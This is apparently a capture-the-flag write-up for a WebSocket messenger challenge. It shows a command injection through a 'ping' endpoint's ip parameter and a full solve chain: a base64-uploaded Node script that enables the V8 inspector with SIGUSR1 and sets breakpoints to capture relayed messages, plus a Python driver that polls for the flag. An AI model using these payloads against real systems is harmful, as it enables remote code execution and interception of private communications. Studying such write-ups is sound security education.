Very Secure Messenger

01 Dec 2026
1052 words

This challenge consists of 2 Docker containers. The server container is publicly accessible and is open on port 8000, while the access to the bot container is strictly internal.

yaml
services:
  bot:
    build:
      context: ./bot
      dockerfile: Dockerfile
    container_name: bot
    restart: unless-stopped
  server:
    build:
      context: ./server
      dockerfile: app/Dockerfile
    container_name: server
    ports:
      - "8000:3000"
    restart: unless-stopped

server starts a web socket server that allows connected users to send messages to each other using unique socket IDs.

js
const server = http.createServer(app);

const wss = new WebSocketServer({ server });

...

wss.on('connection', (ws) => {
    const socketId = crypto.randomBytes(32).toString('hex');

    Users.set(socketId, ws);
    ws.send(JSON.stringify({ type: 'login', data: socketId }));

    ws.on('message', (message) => {
        try {
            const json = JSON.parse(message);

            if (json.type === 'send') {
                const targetUser = Users.get(json.target);
                if (targetUser) {
                    targetUser.send(JSON.stringify({
                        type: 'receive',
                        sender: socketId,
                        data: json.data,
                    }));
                }
            }
        } catch {}
    });

    ws.on('close', () => {
        Users.delete(socketId);
    });
});

bot opens two web socket connections to the chat server, bot1 and bot2. bot1 retrieves bot2's random socket ID from its own login message.

Every 10 seconds, bot1 sends the flag to bot2 via server's relay.

js
const WebSocket = require('ws');

const FLAG = "DH{fakeflag}";

setTimeout(() => {
    const bot1Ws = new WebSocket(`ws://server:3000/`);
    const bot2Ws = new WebSocket(`ws://server:3000/`);

    let bot2Id = null;

    bot1Ws.on('open', () => {
        setInterval(() => {
            if (bot2Id) {
                bot1Ws.send(JSON.stringify({
                    type: 'send',
                    target: bot2Id,
                    data: `Here is the flag: ${FLAG}`,
                }));
            }
        }, 1000 * 10);
    });

    bot2Ws.on('message', (data) => {
        const json = JSON.parse(data);

        if (json.type === 'login') {
            bot2Id = json.data;
        }
    });
}, 10000);

The /check-connectivity endpoint in server stands out, as it allows us to supply an ip URL parameter, which it directly interpolates into a ping command. No sanitisation is performed, giving us unrestricted command injection and full RCE.

However, getting the flag using our RCE isn't that straightforward, as the flag only exists as a literal string inside bot.

Furthermore, since the socket ID generation is cryptographically secure, we can't just register a listener in place of bot2.

js
app.get('/check-connectivity', (req, res) => {
    const host = req.query?.ip ?? '1.1.1.1';

    const command = `ping -c 1 ${host}`;
    const result = execSync(command);

    return res.json({
        result: result.toString(),
    });
});

Instead, since we have RCE on the container with the web socket server, what we can do instead is to connect to the web socket and intercept the flag message as soon as it is sent.

I got Claude to create this payload script that attaches to the web socket server and sets a breakpoint at ws.on('message'), when the message is relayed between sockets.

At the breakpoint, the harness script logs the message into a logfile in /tmp, which we can later read using our RCE gadget from earlier.

js
const http = require('http')
const fs = require('fs')

const OUT = '/tmp/leak.log'
const BREAKPOINT_LINE = 37

const WebSocket = require('/usr/src/app/node_modules/ws')

function log(line) {
    fs.appendFileSync(OUT, `[${new Date().toISOString()}] ${line}\n`)
}

function main() {
    http.get('http://127.0.0.1:9229/json', (res) => {
        let body = ''

        res.on('data', d => body += d)
        
        res.on('end', () => {
            let target = JSON.parse(body)[0]
            
            attach(target.webSocketDebuggerUrl)
        })
    }).on('error', (e) => log(`HTTP server error: ${e.message}`))
}

function attach(wsUrl) {
    const ws = new WebSocket(wsUrl, { perMessageDeflate: false })
    let nextId = 0
    const pendingEval = new Set()

    function send(method, params = {}) {
        const id = ++nextId
        
        ws.send(JSON.stringify({ id, method, params }))
        
        return id
    }

    ws.on('open', () => {
        send('Runtime.enable')
        send('Debugger.enable')
    })

    ws.on('message', (raw) => {
        const msg = JSON.parse(raw)

        if (msg.method === 'Debugger.scriptParsed' && msg.params.url.endsWith('index.js')) {
            send('Debugger.setBreakpointByUrl', {
                lineNumber: BREAKPOINT_LINE,
                url: msg.params.url,
            })
        }

        if (msg.method === 'Debugger.paused') {
            const callFrameId = msg.params.callFrames[0].callFrameId

            const evalId = send('Debugger.evaluateOnCallFrame', {
                callFrameId,
                expression: 'message.toString()',
                returnByValue: true,
            })
            
            pendingEval.add(evalId)
        }

        if (msg.id && pendingEval.has(msg.id)) {
            pendingEval.delete(msg.id)
            
            const value = msg.result && msg.result.result && msg.result.result.value
            
            if (value !== undefined) {
                log(`MESSAGE: ${value}`)
            }
            
            send('Debugger.resume')
        }
    })

    ws.on('error', (e) => log(`Error: ${e.message}`))
}

main()

For our payload script to work, we need to setup a few more things.

We first retrieve the Node PID, then send SIGUSR1 to the Node process to enable the V8 inspector, allowing us to interact with the web socket server.

After that, we just need to run the payload script in the background such that it doesn't interfere with subsequent commands.

python
def rce(cmd):
    res = s.get(f'{url}/check-connectivity', params={
        'ip': f'1.1.1.1; {cmd}'
    })

    return res.json()['result']

resp = rce("ps aux | grep '[n]ode index.js'")
pid = re.findall(r'([0-9]+) root', resp)[0].strip()

rce(f'kill -USR1 {pid}')

rce("nohup node /tmp/payload.js </dev/null >/tmp/payload.out 2>&1 & true")

After running our payload script, we just need to repeatedly check the capture log until the flag shows up.

Below are my solve scripts for this challenge.

js
// payload.js

const http = require('http')
const fs = require('fs')

const OUT = '/tmp/leak.log'
const BREAKPOINT_LINE = 37

const WebSocket = require('/usr/src/app/node_modules/ws')

function log(line) {
    fs.appendFileSync(OUT, `[${new Date().toISOString()}] ${line}\n`)
}

function main() {
    http.get('http://127.0.0.1:9229/json', (res) => {
        let body = ''

        res.on('data', d => body += d)
        
        res.on('end', () => {
            let target = JSON.parse(body)[0]
            
            attach(target.webSocketDebuggerUrl)
        })
    }).on('error', (e) => log(`HTTP server error: ${e.message}`))
}

function attach(wsUrl) {
    const ws = new WebSocket(wsUrl, { perMessageDeflate: false })
    let nextId = 0
    const pendingEval = new Set()

    function send(method, params = {}) {
        const id = ++nextId
        
        ws.send(JSON.stringify({ id, method, params }))
        
        return id
    }

    ws.on('open', () => {
        send('Runtime.enable')
        send('Debugger.enable')
    })

    ws.on('message', (raw) => {
        const msg = JSON.parse(raw)

        if (msg.method === 'Debugger.scriptParsed' && msg.params.url.endsWith('index.js')) {
            send('Debugger.setBreakpointByUrl', {
                lineNumber: BREAKPOINT_LINE,
                url: msg.params.url,
            })
        }

        if (msg.method === 'Debugger.paused') {
            const callFrameId = msg.params.callFrames[0].callFrameId

            const evalId = send('Debugger.evaluateOnCallFrame', {
                callFrameId,
                expression: 'message.toString()',
                returnByValue: true,
            })
            
            pendingEval.add(evalId)
        }

        if (msg.id && pendingEval.has(msg.id)) {
            pendingEval.delete(msg.id)
            
            const value = msg.result && msg.result.result && msg.result.result.value
            
            if (value !== undefined) {
                log(`MESSAGE: ${value}`)
            }
            
            send('Debugger.resume')
        }
    })

    ws.on('error', (e) => log(`Error: ${e.message}`))
}

main()
python
import requests
import base64
import re
import time

url = 'http://host3.dreamhack.games:11939/'
s = requests.Session()

def rce(cmd):
    res = s.get(f'{url}/check-connectivity', params={
        'ip': f'1.1.1.1; {cmd}'
    })

    return res.json()['result']

# upload payload script
with open('payload.js', 'r') as f:
    payload = f.read()

b64 = base64.b64encode(payload.encode()).decode()
rce(f'echo {b64} | base64 -d > /tmp/payload.js')

# find node pid
resp = rce("ps aux | grep '[n]ode index.js'")

pid = re.findall(r'([0-9]+) root', resp)[0].strip()

print("> Node PID:", pid)

# start websocket server
rce(f'kill -USR1 {pid}')

print("> Started websocket server")

# run payload script in background
rce("nohup node /tmp/payload.js </dev/null >/tmp/payload.out 2>&1 & true")

print("> Started exfil script")

# poll exfil log
while True:
    print("> Checking capture log...")
    out = rce("cat /tmp/leak.log 2>/dev/null")

    if 'DH{' in out:
        flag = re.findall(r'(DH{.+?})', out)[0].strip()

        print("Flag:", flag)
        break

    time.sleep(5)

Flag: DH{734a45f7f126f7eb19f4cdbaa80930092d0ed334}